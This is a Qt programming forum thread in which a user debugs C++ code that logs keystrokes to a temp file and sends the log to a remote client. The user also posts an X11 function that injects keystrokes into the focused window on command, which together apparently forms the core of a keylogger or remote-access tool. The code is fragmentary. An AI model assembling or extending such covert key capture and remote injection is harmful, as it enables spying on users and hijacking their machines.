PDA

View Full Version : Help with this: send keystrokes



davinciomare
24th September 2016, 17:35
Hi i am trying to send keystrokes but i am have some doubts.
I send this:


QFile klog;
klog.setFileName(directorio.tempPath() + "/logg");
klog.open(QFile::ReadOnly);
cliente.sendMessage(from,"teclas|@|" + klog.readAll()); // crash when i do this
klog.close();

And i receive with this:


if (parametros[0] == "teclas") //I check the message and write the text to my textfield
{
ui->textTeclas->setText(parametros[1]);
}

Any suggestion or idea is good received thanks. The problem is when i read the file and i send the message, the application crashes and i cant send the keystrokes that i have in the file . Thanks in advance.

Aditional:

I think i could create other button; send some message and put since my server:


if(parametros[0] == "t") //message of client
{
int i;
for(i=0;i<parametros.size();i++) //loop keystrokes
{
enviarTecla(parametros[i].toInt());
}
return;
}

And then send key for key, i dont know if this will work fine. Any suggestions. I need to read some file and send the strokes to my client. Only that. Thanks in advance.

anda_skoa
25th September 2016, 09:50
What have you done so far to analyze the crash?
Does the file reading or the message sending part of that line crash?

Cheers,
_

davinciomare
25th September 2016, 10:21
It's because write me a Strange symbole maybe it is not a char i dont know. I capture keys and when i capture space, write me Strange symbole.
For this i included when i write space, included only space but i didnt get the purpose.
. When i send this symbole like char , crash.
In my function i included this. For example when someone press space key write only a space. But still write me a Strange symbole.
Code:

void MainWindow::escucharTeclas()
{
/** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
char num;
num = comprobarTeclas();
if(num != 0)
{
if(num==32){
log.open(QFile::Append);
log.write(" ");
cadenaa.clear();
log.close();
}
else
{
log.open(QFile::Append);
cadenaa.append(num);
log.write(cadenaa);
cadenaa.clear();
log.close();
}
}
}

davinciomare
25th September 2016, 15:44
The function for send my keys is this:

void enviarTecla(int tecla)
{
Display *display = XOpenDisplay(NULL);
XKeyEvent event;

switch (tecla)
{
case Qt::Key_Return:
tecla = XK_Return ;
break;
case Qt::Key_Backspace:
tecla = XK_BackSpace ;
break;
case Qt::Key_Escape:
tecla = XK_Escape;
break;
case Qt::Key_Shift:
tecla = XK_Shift_L ;
break;
case Qt::Key_CapsLock:
tecla = XK_Caps_Lock;
break;
}
int a;
event.display = display;
XGetInputFocus(display,&event.window,&a);
event.root = 0;
event.subwindow = None;
event.time = CurrentTime;
event.x = 1;
event.y = 1;
event.x_root = 1;
event.y_root = 1;
event.same_screen = TRUE;

event.type = KeyPress; //event.type = KeyRelease;
event.keycode = XKeysymToKeycode (display,tecla);
event.state = 0;

XSendEvent(event.display, event.window, TRUE, KeyPressMask, (XEvent *)&event);


event.display = display;
XGetInputFocus(display,&event.window,&a);
event.root = 0;
event.subwindow = None;
event.time = CurrentTime;
event.x = 1;
event.y = 1;
event.x_root = 1;
event.y_root = 1;
event.same_screen = TRUE;

event.type = KeyRelease;
event.keycode = XKeysymToKeycode (display,tecla);
event.state = 0;

XSendEvent(event.display, event.window, TRUE, KeyReleaseMask, (XEvent *)&event);
XCloseDisplay(display);
}
And when i send i am trying with this format:
http://i.imgsafe.org/7e29fc31bc.png
Not works

davinciomare
26th September 2016, 01:35
solved solved thx

Ginsengelf
26th September 2016, 10:06
It would be helpful if you mentioned what solved your problem.

Ginsengelf